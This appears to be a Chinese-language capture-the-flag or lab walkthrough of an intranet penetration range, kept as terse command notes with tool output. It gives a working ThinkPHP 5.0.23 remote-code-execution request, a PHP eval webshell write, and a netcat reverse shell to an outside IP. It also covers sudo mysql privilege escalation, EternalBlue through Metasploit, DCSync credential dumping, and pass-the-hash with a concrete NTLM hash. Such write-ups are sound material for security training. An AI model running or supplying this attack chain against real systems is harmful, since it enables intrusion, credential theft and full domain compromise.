php V5.0.23

查到exp

POST /index.php?s=captcha HTTP/1.1
Host: 39.99.236.243
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /

写马

http://39.xx.xx.xx/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E' >1.php
//注意url编码一下

然后蚁剑连接,反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 107.172.141.31 9999 >/tmp/f

找suid

find / -user root -perm -4000 -print 2>/dev/null

sudo -l

sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql

sudo mysql -e '\! /bin/sh'提权

cat /root/flag/flag01.txt

拿到第一个flagflag{60b53231-

传文件fscan

./fscan_amd64 -h 172.22.1.0/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive
[*] Icmp alive hosts len is: 4
172.22.1.15:22 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.2:88 open
172.22.1.18:445 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] 172.22.1.21 MS17-010        (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.1.2      [+]DC DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios: 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600 
[*] NetBios: 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[*] WebTitle: http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 9.786441836s

Proxifier 连上socks5代理后访问是一个oa信呼

后台rcehttps://blog.csdn.net/solitudi/article/details/118675321或者phpmyadmin弱密码进入

写马拿第二个flag

第二段2ce3-4813-87d4-

第三台机器不出网 永恒之蓝

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
run

msf内拿用户hash值

  1. #msf中
  2. load kiwi
  3. kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

再用crackmapexec进行哈希传递

  1. p4 crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "whoami"
  2. p4 crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type C:\Users\Administrator\flag\flag03.txt"

好找

/opt/homebrew/Cellar/proxychains-ng/4.16/.bottle/etc/proxychains.conf